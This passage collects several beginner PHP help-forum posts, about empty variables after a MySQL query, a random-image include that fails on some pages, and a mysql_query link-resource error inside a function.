connection with the Mysql server. Selecting the table. Searching for the fields corresponding to the CurrentName. Returning the parameters stored in the fields. MemberId : MemberName : MemberPassword : MemberEmailAddress : MemberDateTimeInscription : Ending the connection with the Mysql server. I don't understand why the variables $MemberId, $MemberName, $MemberPassword, $MemberEmailAddress, $MemberDateTimeInscription are empty. Your advices are welcome, Thanks, Hi all, I am a bit of a noob when it comes to website building and php etc so please have patients with me I am learnig as I go. I have come across this problem before and cannot remember what I did to fix it but any way it is presenting its self to me again. I have this page: http://minecraftcons...a.com/index.php with an include file loading random images, however the same code on these pages: http://minecraftconsolecrafting.comxa.com/sections/build-navi.php http://minecraftconsolecrafting.comxa.com/sections/springhill-kingdom-01.php are not working. I have other websites that this method of coding is working fine on for example here is another of my websites: http://divinegardensandlandscapes.com/index.php here the include code for random image loader is working fine on all pages it appears on so what is happening when this fail takes place? Any help and or advice would be hugely appreciated, Thanks in advance. Please remeber I am a noob when answering. Thanks Edited by eGate-Network, 12 July 2014 - 10:55 PM. Hi, I have some code which works but when I created a function and call this same code it doesn't. The error I get is as follows: Warning: mysql_query(): supplied argument is not a valid MySQL-Link resource in /home/fhlinux010/l/languageschoolsuk.com/user/htdocs/admin/email.php on line 42 Error retrieving schools The code function CreateSchoolCheckboxes() { echo '<div style="height:400px;width:400px;font:16px/26px Georgia, Garamond, Serif;overflow:scroll;">'; $querySchools = "SELECT * FROM school"; $result = mysql_query($querySchools, $conn) or die ("Error retrieving schools ".mysql_error()); while($row = mysql_fetch_array($result)) { $schoolname = $row['name']; echo '<input type="checkbox" name="school" value="'.$schoolname.'">'; echo $schoolname . '<br>'; } echo '</div>'; } Im sure that this is probably something simple but any suggestions would be much appreciated. Thanks, Joe |